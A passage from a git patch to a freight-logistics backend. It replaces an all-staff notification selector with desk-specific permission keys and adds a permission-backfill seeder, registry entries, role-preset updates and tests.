`customers:get_notification` — deep-linked to the customer's detail page, + * which is itself gated on `customers:view`. */ private notifyStaff( company: Company, @@ -189,7 +187,7 @@ export class CompanyNotifierService { data: Record = {}, ): void { void this.inbox.notify({ - recipients: { allBackoffice: true }, + recipients: { permissionKeys: [FREIGHT_PERMS.customers.getNotification] }, audience: NotificationAudience.BACKOFFICE, type: NotificationType.REQUEST_SUBMITTED, title, diff --git a/apps/edr-freight-api/src/modules/contracts/contract-expiry.service.spec.ts b/apps/edr-freight-api/src/modules/contracts/contract-expiry.service.spec.ts index 0551cfc7a..27cfa5fa1 100644 --- a/apps/edr-freight-api/src/modules/contracts/contract-expiry.service.spec.ts +++ b/apps/edr-freight-api/src/modules/contracts/contract-expiry.service.spec.ts @@ -1,5 +1,6 @@ import { ContractExpiryService } from './contract-expiry.service'; import type { Contract } from './entities/contract.entity'; +import { FREIGHT_PERMS } from '../../seed/freight-permissions.registry'; /** * The reminder must warn each customer once, ten days out, and must never let a @@ -60,4 +61,18 @@ describe('ContractExpiryService — expiry reminder', () => { inbox.notify.mockRejectedValue(new Error('inbox down')); await expect(service.remindExpiringContracts()).resolves.toBeUndefined(); }); + + // The sweep-failure alert is staff-facing. It used to go to every employee; + // it belongs to the people who would notice expired contracts still listed + // as active, i.e. the contract desk. + it('alerts the contract desk when the sweep itself fails', async () => { + repo.expireLapsedContracts.mockRejectedValue(new Error('deadlock')); + + await service.expireLapsedContracts(); + + expect(inbox.notify).toHaveBeenCalledTimes(1); + expect(inbox.notify.mock.calls[0][0].recipients).toEqual({ + permissionKeys: [FREIGHT_PERMS.contracts.getNotification], + }); + }); }); diff --git a/apps/edr-freight-api/src/modules/contracts/contract-expiry.service.ts b/apps/edr-freight-api/src/modules/contracts/contract-expiry.service.ts index 1ef84c141..c570fbc0a 100644 --- a/apps/edr-freight-api/src/modules/contracts/contract-expiry.service.ts +++ b/apps/edr-freight-api/src/modules/contracts/contract-expiry.service.ts @@ -4,6 +4,7 @@ import { NotificationAudience, NotificationType } from '@edr/types'; import { NotificationInboxService } from '../notification-inbox/notification-inbox.service'; import { ContractsRepository } from './contracts.repository'; +import { FREIGHT_PERMS } from '../../seed/freight-permissions.registry'; /** * How many days before a contract lapses the customer is reminded. Mirrored by @@ -79,7 +80,11 @@ export class ContractExpiryService { ); try { await this.inbox.notify({ - recipients: { allBackoffice: true }, + // The people who would notice expired contracts still listed as + // active are the ones working the contract desk. + recipients: { + permissionKeys: [FREIGHT_PERMS.contracts.getNotification], + }, audience: NotificationAudience.BACKOFFICE, type: NotificationType.GENERIC, title: 'Contract expiry sweep failed', diff --git a/apps/edr-freight-api/src/modules/contracts/contract-notifier.service.ts b/apps/edr-freight-api/src/modules/contracts/contract-notifier.service.ts index 92a313569..e3c79a742 100644 --- a/apps/edr-freight-api/src/modules/contracts/contract-notifier.service.ts +++ b/apps/edr-freight-api/src/modules/contracts/contract-notifier.service.ts @@ -11,6 +11,16 @@ import { Contract } from './entities/contract.entity'; import { NotificationsService } from '../notifications/notifications.service'; import { NotificationInboxService } from '../notification-inbox/notification-inbox.service'; import { resolveCompanyNotifyPhone } from '../notifications/resolve-company-phone.util'; +import { FREIGHT_PERMS } from '../../seed/freight-permissions.registry'; + +/** + * Clearance items are worked by the GL desks, which hold no intake keys — so + * they take their own selector rather than the contract desk's. Every override + * using this deep-links to a clearance or shipment-request page. + */ +const CLEARANCE_DESK = { + permissionKeys: [FREIGHT_PERMS.contracts.clearanceGetNotification], +}; /** * Customer + staff notifications for the contract lifecycle. Every customer @@ -86,7 +96,11 @@ export class ContractNotifierService { }); } - /** Persist + push an in-app item to every backoffice staff user. */ + /** + * Persist + push an in-app item to the contract desk — staff holding + * `contracts:get_notification`. Callers whose item belongs to a different + * desk override `recipients` (see {@link CLEARANCE_DESK}). + */ private inAppStaff( c: Contract, title: string, @@ -94,7 +108,7 @@ export class ContractNotifierService { overrides: Partial = {}, ): void { void this.inbox.notify({ - recipients: { allBackoffice: true }, + recipients: { permissionKeys: [FREIGHT_PERMS.contracts.getNotification] }, audience: NotificationAudience.BACKOFFICE, type: NotificationType.REQUEST_SUBMITTED, title, @@ -230,6 +244,7 @@ export class ContractNotifierService { `the customs declaration can be filed.${note ? ` Note: "${note}"` : ''}`; this.logger.log(`TRANSIT ASSIGNEE REQUESTED — ${c.reference}`); this.inAppStaff(c, `Transit assignee needed — ${c.reference}`, msg, { + recipients: CLEARANCE_DESK, type: NotificationType.CLEARANCE_REVIEW, link: `/dashboard/gl-djibouti/clearance/${c.id}`, }); @@ -248,6 +263,7 @@ export class ContractNotifierService { `The customs declaration can now be filed.`; this.logger.log(`TRANSIT ASSIGNEE ASSIGNED — ${c.reference}`); this.inAppStaff(c, `Transit assignee set — ${c.reference}`, msg, { + recipients: CLEARANCE_DESK, type: NotificationType.CLEARANCE_REVIEW, link: `/dashboard/contracts/clearance/${c.id}`, }); @@ -264,6 +280,7 @@ export class ContractNotifierService { `"${note}". Review and re-advise the amount on the clearance page.`; this.logger.log(`DUTY DISPUTED — ${c.reference}`); this.inAppStaff(c, `Duty disputed on ${c.reference}`, msg, { + recipients: CLEARANCE_DESK, type: NotificationType.CLEARANCE_REVIEW, link: `/dashboard/contracts/clearance/${c.id}`, }); @@ -321,6 +338,7 @@ export class ContractNotifierService { 'Clearance documents uploaded', `Customer uploaded clearance documents for contract ${this.ref(c)} — review them in the clearance queue.`, { + recipients: CLEARANCE_DESK, type: NotificationType.CLEARANCE_REVIEW, link: `/dashboard/contracts/clearance/${c.id}`, }, @@ -334,6 +352,7 @@ export class ContractNotifierService { 'Duty slip uploaded', `Customer uploaded the duty & tax payment slip for contract ${this.ref(c)}.`, { + recipients: CLEARANCE_DESK, type: NotificationType.PAYMENT_RECEIVED, link: `/dashboard/contracts/clearance/${c.id}`, }, @@ -347,6 +366,9 @@ export class ContractNotifierService { 'New shipment request', `Shipment request ${requestRef} was filed under contract ${this.ref(c)} and awaits GL review.`, { + // GL reviews these, and the shipment-requests page is gated on + // contracts:create_booking — a key only the GL Ethiopia preset holds. + recipients: CLEARANCE_DESK, link: `/dashboard/shipment-requests/${requestId}`, data: { contractId: c.id, requestId, reference: requestRef }, }, diff --git a/apps/edr-freight-api/src/modules/maintenance/maintenance-due-alert.spec.ts b/apps/edr-freight-api/src/modules/maintenance/maintenance-due-alert.spec.ts index 7aac5e863..5726123cf 100644 --- a/apps/edr-freight-api/src/modules/maintenance/maintenance-due-alert.spec.ts +++ b/apps/edr-freight-api/src/modules/maintenance/maintenance-due-alert.spec.ts @@ -1,6 +1,7 @@ import { NotificationAudience } from '@edr/types'; import { MaintenanceService } from './maintenance.service'; +import { FREIGHT_PERMS } from '../../seed/freight-permissions.registry'; /** * The daily due-alert: a SCHEDULED item that crossed its km or date threshold @@ -37,6 +38,10 @@ describe('MaintenanceService.sendDueAlerts', () => { expect(notify).toHaveBeenCalledWith( expect.objectContaining({ audience: NotificationAudience.BACKOFFICE, + // The fleet desk, not every employee in the company. + recipients: { + permissionKeys: [FREIGHT_PERMS.maintenance.getNotification], + }, title: 'Maintenance due — ET-9875', body: expect.stringContaining('driven 50200 km (due at 50000 km)'), }), diff --git a/apps/edr-freight-api/src/modules/maintenance/maintenance.service.ts b/apps/edr-freight-api/src/modules/maintenance/maintenance.service.ts index dd9da55a8..54aab6e36 100644 --- a/apps/edr-freight-api/src/modules/maintenance/maintenance.service.ts +++ b/apps/edr-freight-api/src/modules/maintenance/maintenance.service.ts @@ -15,6 +15,7 @@ import { UpsertMaintenanceIntervalDto, } from './dto/create-maintenance.dto'; import { NotificationInboxService } from '../notification-inbox/notification-inbox.service'; +import { FREIGHT_PERMS } from '../../seed/freight-permissions.registry'; @Injectable() export class MaintenanceService { @@ -53,7 +54,9 @@ export class MaintenanceService { ? `driven ${item.currentKm} km (due at ${item.nextDueKm} km)` : `due ${new Date(item.nextDueDate as Date).toLocaleDateString()}`; await this.inbox.notify({ - recipients: { allBackoffice: true }, + recipients: { + permissionKeys: [FREIGHT_PERMS.maintenance.getNotification], + }, audience: NotificationAudience.BACKOFFICE, type: NotificationType.GENERIC, title: `Maintenance due — ${item.plateNumber}`, diff --git a/apps/edr-freight-api/src/modules/notification-inbox/notification-recipients.service.ts b/apps/edr-freight-api/src/modules/notification-inbox/notification-recipients.service.ts index e3e711d19..d8e338dbf 100644 --- a/apps/edr-freight-api/src/modules/notification-inbox/notification-recipients.service.ts +++ b/apps/edr-freight-api/src/modules/notification-inbox/notification-recipients.service.ts @@ -14,7 +14,9 @@ import { ExternalProfileRepository } from "../companies/external-profile.reposit * - `companyProfileId` → resolved to its company, then to that company's users. * - `organizationId` → all current employees of the org (backoffice staff). * - `permissionKeys` → current employees (any org) holding any of these - * permission keys (e.g. department/role-scoped targeting). + * permission keys — how every staff-facing notification is targeted. There is + * deliberately no "all backoffice" selector: staff notifications belong to a + * desk, and the `:get_notification` keys name which one. */ @Injectable() export class NotificationRecipientsService { @@ -69,18 +71,6 @@ export class NotificationRecipientsService { } } - if (recipients.allBackoffice) { - try { - for (const uid of await this.backoffice.getAllCurrentEmployeeUserIds()) { - ids.add(uid); - } - } catch (err) { - this.logger.warn( - `Failed to resolve allBackoffice recipients: ${(err as Error).message}`, - ); - } - } - if (recipients.permissionKeys?.length) { try { for (const uid of await this.backoffice.getEmployeeUserIdsByPermission( diff --git a/apps/edr-freight-api/src/modules/rule-engine/services/priority-rule-change-requests.service.ts b/apps/edr-freight-api/src/modules/rule-engine/services/priority-rule-change-requests.service.ts index a80221c68..1526769d3 100644 --- a/apps/edr-freight-api/src/modules/rule-engine/services/priority-rule-change-requests.service.ts +++ b/apps/edr-freight-api/src/modules/rule-engine/services/priority-rule-change-requests.service.ts @@ -22,6 +22,7 @@ import { PriorityRuleChangeStatus, } from '../entities/priority-rule-change-request.entity'; import { PriorityConfigsService } from './priority-configs.service'; +import { FREIGHT_PERMS } from '../../../seed/freight-permissions.registry'; /** Backoffice rule-engine page — where both queue and rules live. */ const RULES_LINK = '/dashboard/rules/priority-configs'; @@ -221,7 +222,9 @@ export class PriorityRuleChangeRequestsService { ): void { void this.inbox .notify({ - recipients: { allBackoffice: true }, + recipients: { + permissionKeys: [FREIGHT_PERMS.ruleEngine.getNotification], + }, audience: NotificationAudience.BACKOFFICE, type: NotificationType.REQUEST_SUBMITTED, title, diff --git a/apps/edr-freight-api/src/modules/rule-engine/services/rate-change-requests.service.ts b/apps/edr-freight-api/src/modules/rule-engine/services/rate-change-requests.service.ts index 6dde40d7d..8cc97f343 100644 --- a/apps/edr-freight-api/src/modules/rule-engine/services/rate-change-requests.service.ts +++ b/apps/edr-freight-api/src/modules/rule-engine/services/rate-change-requests.service.ts @@ -19,6 +19,7 @@ import { } from '../entities/rate-change-request.entity'; import { Rate } from '../entities/rate.entity'; import { RatesService } from './rates.service'; +import { FREIGHT_PERMS } from '../../../seed/freight-permissions.registry'; /** Backoffice page where both the queue and the rates live. */ const RATES_LINK = '/dashboard/rules/rates'; @@ -234,7 +235,9 @@ export class RateChangeRequestsService { private notifyTeam(title: string, body: string, request: RateChangeRequest): void { void this.inbox .notify({ - recipients: { allBackoffice: true }, + recipients: { + permissionKeys: [FREIGHT_PERMS.ruleEngine.getNotification], + }, audience: NotificationAudience.BACKOFFICE, type: NotificationType.REQUEST_SUBMITTED, title, diff --git a/apps/edr-freight-api/src/modules/warehouses/warehouse-fee.service.ts b/apps/edr-freight-api/src/modules/warehouses/warehouse-fee.service.ts index aa30b31e7..576933c01 100644 --- a/apps/edr-freight-api/src/modules/warehouses/warehouse-fee.service.ts +++ b/apps/edr-freight-api/src/modules/warehouses/warehouse-fee.service.ts @@ -8,6 +8,7 @@ import { NotificationInboxService } from '../notification-inbox/notification-inb import { CreateFeeRuleDto, UpdateFeeRuleDto } from './dto/fee-rule.dto'; import { FeeRuleBasis, FeeRuleType, WarehouseFeeRule, WarehouseFeeTier } from './entities/warehouse-fee-rule.entity'; import { WarehouseFeeRuleRepository } from './warehouse-fee-rule.repository'; +import { FREIGHT_PERMS } from '../../seed/freight-permissions.registry'; interface ItemAttributes { arrivedAt: Date | null; @@ -178,7 +179,11 @@ export class WarehouseFeeService { const total = alerts.reduce((sum, r) => sum + r.accruedAmount, 0); try { await this.inbox.notify({ - recipients: { allBackoffice: true }, + recipients: { + permissionKeys: [ + FREIGHT_PERMS.warehouseFeeInvoices.getNotification, + ], + }, audience: NotificationAudience.BACKOFFICE, type: NotificationType.BOOKING_STATUS, title: 'Warehouse fee accruals need attention', diff --git a/apps/edr-freight-api/src/seed/freight-notification-permissions.seeder.ts b/apps/edr-freight-api/src/seed/freight-notification-permissions.seeder.ts new file mode 100644 index 000000000..0bea4ad95 --- /dev/null +++ b/apps/edr-freight-api/src/seed/freight-notification-permissions.seeder.ts @@ -0,0 +1,103 @@ +import { Injectable, Logger } from '@nestjs/common'; +import { Application, Permission } from '@tria-plc/iamapi-common'; +import { DataSource } from 'typeorm'; + +import { + NOTIFICATION_PERMISSIONS, + NOTIFICATION_PERMISSION_ANCHORS, +} from './freight-permissions.registry'; + +const EDR_FREIGHT_APP_KEY = 'edr_freight_app'; + +/** + * The three tables a permission grant can arrive on, with the column naming + * the grantee. These are compile-time constants — the only values interpolated + * into the SQL below. + */ +const CARRIERS = [ + ['iam.position_permissions', 'position_id'], + ['iam.position_type_permissions', 'position_type_id'], + ['iam.role_permissions', 'role_id'], +] as const; + +/** + * Backfills the `:get_notification` keys. + * + * Those keys are new, so on deploy nobody holds them and every staff + * notification would resolve to zero recipients — silently, because + * `NotificationInboxService.notify` logs an empty resolve at debug level. This + * grants each new key to whoever already holds that desk's anchor key (the + * permission gating the page the notification links to), across all three + * carriers. + * + * Deliberately NOT gated behind SEED_EDR_ORG: that flag is off everywhere + * except e2e/integration, and this has to run wherever the notifications do. + * For the same reason it inserts the permission rows itself rather than + * trusting EdrOrgSeeder. Idempotent — safe on every boot, and safe to leave in + * place permanently. + */ +@Injectable() +export class FreightNotificationPermissionsSeeder { + private readonly logger = new Logger(FreightNotificationPermissionsSeeder.name); + + constructor(private readonly dataSource: DataSource) {} + + async run(): Promise { + const application = await this.dataSource + .getRepository(Application) + .findOne({ where: { key: EDR_FREIGHT_APP_KEY }, select: { id: true } }); + + if (!application?.id) { + this.logger.warn( + `Application '${EDR_FREIGHT_APP_KEY}' not found — notification permission backfill skipped`, + ); + return; + } + + // Ids are left to the column default and never sent: iam.permissions has + // two unique columns (PK id, UQ key) and ON CONFLICT can only target one, + // so a hand-minted id that some retired key already owns would slip past + // ON CONFLICT (key) and die on the PK. Same reasoning as EdrOrgSeeder. + await this.dataSource + .getRepository(Permission) + .createQueryBuilder() + .insert() + .values( + NOTIFICATION_PERMISSIONS.map((permission) => ({ + key: permission.key, + name: { ...permission.name }, + applicationId: application.id as string, + })), + ) + .orIgnore() + .execute(); + + let granted = 0; + for (const [key, anchors] of Object.entries( + NOTIFICATION_PERMISSION_ANCHORS, + )) { + for (const [table, granteeColumn] of CARRIERS) { + const result: unknown = await this.dataSource.query( + `INSERT INTO ${table} (${granteeColumn}, permission_id) + SELECT DISTINCT g.${granteeColumn}, target.id + FROM ${table} g + JOIN iam.permissions anchor + ON anchor.id = g.permission_id AND anchor.key = ANY($1) + JOIN iam.permissions target ON target.key = $2 + WHERE NOT EXISTS ( + SELECT 1 + FROM ${table} existing + WHERE existing.${granteeColumn} = g.${granteeColumn} + AND existing.permission_id = target.id)`, + [anchors, key], + ); + // node-postgres returns [rows, rowCount] for a bare INSERT. + granted += (Array.isArray(result) ? (result[1] as number) : 0) ?? 0; + } + } + + this.logger.log( + `Ensured ${NOTIFICATION_PERMISSIONS.length} notification permissions, backfilled ${granted} grant(s)`, + ); + } +} diff --git a/apps/edr-freight-api/src/seed/freight-permissions.registry.spec.ts b/apps/edr-freight-api/src/seed/freight-permissions.registry.spec.ts index b69dcff71..d134a7986 100644 --- a/apps/edr-freight-api/src/seed/freight-permissions.registry.spec.ts +++ b/apps/edr-freight-api/src/seed/freight-permissions.registry.spec.ts @@ -1,5 +1,9 @@ import { EDR_FREIGHT_PERMISSIONS } from './edr-freight.seed'; -import { readTwinOf } from './freight-permissions.registry'; +import { + NOTIFICATION_PERMISSIONS, + NOTIFICATION_PERMISSION_ANCHORS, + readTwinOf, +} from './freight-permissions.registry'; describe('EDR_FREIGHT_PERMISSIONS', () => { // The seeder inserts the whole catalog in one ON CONFLICT (key) DO UPDATE @@ -48,3 +52,36 @@ describe('EDR_FREIGHT_PERMISSIONS', () => { } }); }); + +describe('NOTIFICATION_PERMISSION_ANCHORS', () => { + const catalog = new Set(EDR_FREIGHT_PERMISSIONS.map((p) => p.key)); + + // FreightNotificationPermissionsSeeder backfills each get_notification key + // onto whoever holds its anchor. A typo'd anchor matches no permission row, + // so the key is granted to nobody and every notification on that desk + // silently resolves to zero recipients — notify() logs that at debug level. + it('anchors every notification key on keys that exist', () => { + const missing = Object.values(NOTIFICATION_PERMISSION_ANCHORS) + .flat() + .filter((key) => !catalog.has(key)); + + expect(missing).toEqual([]); + }); + + it('seeds every notification key into the catalog', () => { + const missing = NOTIFICATION_PERMISSIONS.map((p) => p.key).filter( + (key) => !catalog.has(key), + ); + + expect(missing).toEqual([]); + }); + + it('gives every notification key an anchor to backfill from', () => { + const anchored = new Set(Object.keys(NOTIFICATION_PERMISSION_ANCHORS)); + const unanchored = NOTIFICATION_PERMISSIONS.map((p) => p.key).filter( + (key) => !anchored.has(key), + ); + + expect(unanchored).toEqual([]); + }); +}); diff --git a/apps/edr-freight-api/src/seed/freight-permissions.registry.ts b/apps/edr-freight-api/src/seed/freight-permissions.registry.ts index cbe2fcf11..5d249f2be 100644 --- a/apps/edr-freight-api/src/seed/freight-permissions.registry.ts +++ b/apps/edr-freight-api/src/seed/freight-permissions.registry.ts @@ -1335,6 +1335,54 @@ export const AUDIENCE_GAP_PERMISSIONS: FreightPermissionSeed[] = [ ), ]; +// O. Notification recipient selectors. NOT route guards — these are never +// passed to FreightPermissionGuard/assertFreightPermission and never appear in +// the frontend's RequirePermission. They exist so ops can tune who gets pinged +// WITHOUT changing who can open the page. Before them every staff notification +// used the `allBackoffice` selector, i.e. every current employee in every org. +export const NOTIFICATION_PERMISSIONS: FreightPermissionSeed[] = [ + perm( + "f3a00001-0001-4000-8000-000000000001", + "edr_freight_app:bookings:get_notification", + "Receive booking desk notifications", + ), + perm( + "f3a00001-0001-4000-8000-000000000002", + "edr_freight_app:bookings:clearance_get_notification", + "Receive booking clearance notifications", + ), + perm( + "f3a00001-0001-4000-8000-000000000003", + "edr_freight_app:contracts:get_notification", + "Receive contract desk notifications", + ), + perm( + "f3a00001-0001-4000-8000-000000000004", + "edr_freight_app:contracts:clearance_get_notification", + "Receive contract clearance notifications", + ), + perm( + "f3a00001-0001-4000-8000-000000000005", + "edr_freight_app:customers:get_notification", + "Receive customer desk notifications", + ), + perm( + "f3a00001-0001-4000-8000-000000000006", + "edr_freight_app:maintenance:get_notification", + "Receive maintenance due notifications", + ), + perm( + "f3a00001-0001-4000-8000-000000000007", + "edr_freight_app:rule_engine:get_notification", + "Receive rule-change approval notifications", + ), + perm( + "f3a00001-0001-4000-8000-000000000008", + "edr_freight_app:warehouse_fee_invoices:get_notification", + "Receive warehouse fee accrual notifications", + ), +]; + export const ADVANCED_BACKOFFICE_PERMISSIONS: FreightPermissionSeed[] = [ ...CUSTOMER_PERMISSIONS, ...FINANCE_PERMISSIONS, @@ -1348,6 +1396,7 @@ export const ADVANCED_BACKOFFICE_PERMISSIONS: FreightPermissionSeed[] = [ ...STAFF_IAM_PERMISSIONS, ...AUDIENCE_GAP_PERMISSIONS, ...GRANULAR_SPLIT_PERMISSIONS, + ...NOTIFICATION_PERMISSIONS, ]; export const BOOKING_RULE_ENGINE_PERMISSIONS = [ @@ -1439,6 +1488,10 @@ export const FREIGHT_PERMS = { wagonCancellationVoid: "edr_freight_app:bookings:wagon_cancellation_void", wagonCancellationRebook: "edr_freight_app:bookings:wagon_cancellation_rebook", + // Notification selectors, not route guards — see NOTIFICATION_PERMISSIONS. + getNotification: "edr_freight_app:bookings:get_notification", + clearanceGetNotification: + "edr_freight_app:bookings:clearance_get_notification", }, contracts: { view: "edr_freight_app:contracts:view", @@ -1475,6 +1528,10 @@ export const FREIGHT_PERMS = { editDocument: "edr_freight_app:contracts:edit_document", finalInvoiceRaise: "edr_freight_app:contracts:final_invoice_raise", finalInvoiceConfirm: "edr_freight_app:contracts:final_invoice_confirm", + // Notification selectors, not route guards — see NOTIFICATION_PERMISSIONS. + getNotification: "edr_freight_app:contracts:get_notification", + clearanceGetNotification: + "edr_freight_app:contracts:clearance_get_notification", }, trainScheduling: { view: "edr_freight_app:train_scheduling:view", @@ -1503,6 +1560,10 @@ export const FREIGHT_PERMS = { `edr_freight_app:rule_engine:${slugToResourceKey(slug)}:delete`, approve: (slug: RuleEngineApprovableSlug) => `edr_freight_app:rule_engine:${slugToResourceKey(slug)}:approve`, + // Notification selector, not a route guard — see NOTIFICATION_PERMISSIONS. + // One key for the whole rules desk: every preset grants the rule-engine + // view keys as a block, and both producers link to /dashboard/rules/*. + getNotification: "edr_freight_app:rule_engine:get_notification", }, allocation: { manage: "edr_freight_app:allocation:manage", @@ -1514,6 +1575,8 @@ export const FREIGHT_PERMS = { deactivate: "edr_freight_app:customers:deactivate", verify: "edr_freight_app:customers:verify", resetPassword: "edr_freight_app:customers:reset-password", + // Notification selector, not a route guard — see NOTIFICATION_PERMISSIONS. + getNotification: "edr_freight_app:customers:get_notification", }, payments: { view: "edr_freight_app:payments:view", @@ -1637,6 +1700,8 @@ export const FREIGHT_PERMS = { create: "edr_freight_app:maintenance:create", update: "edr_freight_app:maintenance:update", delete: "edr_freight_app:maintenance:delete", + // Notification selector, not a route guard — see NOTIFICATION_PERMISSIONS. + getNotification: "edr_freight_app:maintenance:get_notification", }, fleetReports: { view: "edr_freight_app:fleet_reports:view", @@ -1706,6 +1771,8 @@ export const FREIGHT_PERMS = { generate: "edr_freight_app:warehouse_fee_invoices:generate", cancel: "edr_freight_app:warehouse_fee_invoices:cancel", pay: "edr_freight_app:warehouse_fee_invoices:pay", + // Notification selector, not a route guard — see NOTIFICATION_PERMISSIONS. + getNotification: "edr_freight_app:warehouse_fee_invoices:get_notification", }, settings: { fileUpload: { @@ -1810,6 +1877,40 @@ export const FREIGHT_PERMS = { }, } as const; +/** + * Backfill sources for the `:get_notification` keys: a new key is + * granted to whoever already holds ANY of its anchors. The anchor is the key + * that gates the page the notification deep-links to — if you cannot open the + * page, you were never the intended recipient. The rule-engine desk has no page + * of its own, so it anchors on the keys that let you ACT on a filed change. + * + * Consumed only by FreightNotificationPermissionsSeeder. Keeping it here means + * the registry spec can assert every anchor still exists in the catalog — a + * typo'd anchor backfills nobody, silently. + */ +export const NOTIFICATION_PERMISSION_ANCHORS: Record = { + [FREIGHT_PERMS.bookings.getNotification]: [FREIGHT_PERMS.bookings.view], + [FREIGHT_PERMS.bookings.clearanceGetNotification]: [ + FREIGHT_PERMS.bookings.clearanceView, + ], + [FREIGHT_PERMS.contracts.getNotification]: [FREIGHT_PERMS.contracts.view], + [FREIGHT_PERMS.contracts.clearanceGetNotification]: [ + FREIGHT_PERMS.contracts.clearanceReview, + FREIGHT_PERMS.contracts.clearanceEtActions, + FREIGHT_PERMS.contracts.clearanceDjActions, + FREIGHT_PERMS.contracts.opsClearanceReview, + ], + [FREIGHT_PERMS.customers.getNotification]: [FREIGHT_PERMS.customers.view], + [FREIGHT_PERMS.maintenance.getNotification]: [FREIGHT_PERMS.maintenance.view], + [FREIGHT_PERMS.ruleEngine.getNotification]: [ + FREIGHT_PERMS.ruleEngine.approve("rates"), + FREIGHT_PERMS.ruleEngine.update("priority-configs"), + ], + [FREIGHT_PERMS.warehouseFeeInvoices.getNotification]: [ + FREIGHT_PERMS.warehouseFeeInvoices.view, + ], +}; + /** Both arms of a freight-type-split permission (for one-of route guards). */ export const bothFreightTypes = (p: { bulk: string; @@ -1867,6 +1968,19 @@ const STAFF_DASHBOARD_KEYS: string[] = [ FREIGHT_PERMS.reports.view, ]; +// Notification desks — recipient selectors, not access. A preset gets a desk +// key only where it actually works that queue, which is why the GL presets take +// the clearance pair and nothing else: they hold no bookings:view and no intake +// keys, so intake pings would only be noise they cannot act on. +const BOOKING_DESK_NOTIFICATION_KEYS: string[] = [ + FREIGHT_PERMS.bookings.getNotification, + FREIGHT_PERMS.contracts.getNotification, +]; +const CLEARANCE_DESK_NOTIFICATION_KEYS: string[] = [ + FREIGHT_PERMS.bookings.clearanceGetNotification, + FREIGHT_PERMS.contracts.clearanceGetNotification, +]; + export const ROLE_PERMISSION_PRESETS = { // Marketing / line staff: drives a booking from intake through line-staff // approval and contract generation/signing — i.e. until the contract is ready @@ -1889,6 +2003,8 @@ export const ROLE_PERMISSION_PRESETS = { FREIGHT_PERMS.contracts.approveLineStaff, FREIGHT_PERMS.contracts.editDocument, ...allRuleEngineViewKeys(), + ...BOOKING_DESK_NOTIFICATION_KEYS, + FREIGHT_PERMS.ruleEngine.getNotification, ], // Operations Officer: train scheduling + wagon allocation + transit/complete // + fleet management (wagons, trains, locomotives, routes, containers, cargo). @@ -1921,6 +2037,11 @@ export const ROLE_PERMISSION_PRESETS = { FREIGHT_PERMS.bookings.reviewDocuments, FREIGHT_PERMS.bookings.finalizeClearance, ...allRuleEngineViewKeys(), + ...BOOKING_DESK_NOTIFICATION_KEYS, + // They run Path A clearance review from the booking detail, so the booking + // clearance desk is theirs too — but not the contract one, which is GL's. + FREIGHT_PERMS.bookings.clearanceGetNotification, + FREIGHT_PERMS.ruleEngine.getNotification, ], director: [ ...STAFF_DASHBOARD_KEYS, @@ -1932,6 +2053,7 @@ export const ROLE_PERMISSION_PRESETS = { FREIGHT_PERMS.contracts.approveDirector, FREIGHT_PERMS.contracts.generateContract, ...allRuleEngineViewKeys(), + ...BOOKING_DESK_NOTIFICATION_KEYS, ], ceo: [ ...STAFF_DASHBOARD_KEYS, @@ -1941,6 +2063,7 @@ export const ROLE_PERMISSION_PRESETS = { FREIGHT_PERMS.contracts.view, FREIGHT_PERMS.contracts.approveCeo, ...allRuleEngineViewKeys(), + ...BOOKING_DESK_NOTIFICATION_KEYS, ], finance: [ ...STAFF_DASHBOARD_KEYS, @@ -1972,6 +2095,7 @@ export const ROLE_PERMISSION_PRESETS = { FREIGHT_PERMS.bookings.uploadClearanceOutput, FREIGHT_PERMS.bookings.finalizeClearance, FREIGHT_PERMS.bookings.operations, + ...CLEARANCE_DESK_NOTIFICATION_KEYS, ], // GL Djibouti (edr_gl_djibouti): DO/RO collection, gatepass, loading milestones, // damage reports. Read-only on the contract; no booking creation. @@ -1983,6 +2107,7 @@ export const ROLE_PERMISSION_PRESETS = { FREIGHT_PERMS.bookings.clearanceView, FREIGHT_PERMS.bookings.uploadClearanceOutput, FREIGHT_PERMS.bookings.operations, + ...CLEARANCE_DESK_NOTIFICATION_KEYS, ], // Marketing handles intake through contract (same as line staff here) and, // for non-customs bookings, reviews/finalizes the customer's clearance @@ -2012,6 +2137,7 @@ export const ROLE_PERMISSION_PRESETS = { ...bothFreightTypes(FREIGHT_PERMS.contracts.signStaff), FREIGHT_PERMS.contracts.suspend, FREIGHT_PERMS.contracts.editDocument, + ...BOOKING_DESK_NOTIFICATION_KEYS, ], orgManager: [...BOOKING_RULE_ENGINE_PERMISSION_KEYS], } as const; @@ -2038,6 +2164,8 @@ export const POSITION_PERMISSION_PRESETS = { FREIGHT_PERMS.customers.view, FREIGHT_PERMS.customers.verify, FREIGHT_PERMS.customers.deactivate, + // …and therefore the profile-review pings company-notifier emits. + FREIGHT_PERMS.customers.getNotification, // The chief also owns the customer-facing support inbox. FREIGHT_PERMS.support.agentView, FREIGHT_PERMS.support.agentSend, diff --git a/packages/types/src/freight/notifications.ts b/packages/types/src/freight/notifications.ts index e3ca5b219..d51006c7f 100644 --- a/packages/types/src/freight/notifications.ts +++ b/packages/types/src/freight/notifications.ts @@ -90,13 +90,16 @@ export interface NotificationRecipients { companyProfileId?: string; /** Backoffice: all current employees of this organization. */ organizationId?: string; - /** Backoffice: every current employee across all organizations. */ - allBackoffice?: boolean; /** * Backoffice: current employees (any org) who hold ANY of these permission - * keys — e.g. notify only marketing, not every employee. Super/org admins - * are not implicitly included; add `allBackoffice`/explicit userIds too if - * admins should also see it. + * keys. Resolution mirrors the request-time guard `hasFreightPermission` — + * IAM role grants, direct position grants, position TYPE grants, delegated + * positions, and the `super_admin` bypass. `organization_admin` is NOT + * implicitly included (it only bypasses approval steps, not permission + * checks); grant it a key explicitly if it should be notified. + * + * Prefer the dedicated `:get_notification` keys over reusing a domain + * key: they let ops tune who gets pinged without touching who has access. */ permissionKeys?: string[]; } From f330f486e53909f09dd1c7abe8ed28c3d94f7a40 Mon Sep 17 00:00:00 2001 From: Nathnael Date: Fri, 7 Aug 2026 12:53:19 +0000 Subject: [PATCH 10/18] feat: add notification to intercity user --- .../booking-window.service.ts | 150 +++++++++++++++++- .../intercity-corridor-notify.spec.ts | 110 +++++++++++++ 2 files changed, 259 insertions(+), 1 deletion(-) create mode 100644 apps/edr-freight-api/src/modules/train-scheduling/intercity-corridor-notify.spec.ts diff --git a/apps/edr-freight-api/src/modules/train-scheduling/booking-window.service.ts b/apps/edr-freight-api/src/modules/train-scheduling/booking-window.service.ts index 1a3baa6b4..9eb6c0bf0 100644 --- a/apps/edr-freight-api/src/modules/train-scheduling/booking-window.service.ts +++ b/apps/edr-freight-api/src/modules/train-scheduling/booking-window.service.ts @@ -313,6 +313,8 @@ export class BookingWindowService implements OnModuleInit { // Fire-and-forget: a slow SMS/email gateway must not stall the tick loop // (the `ticking` guard would otherwise delay every 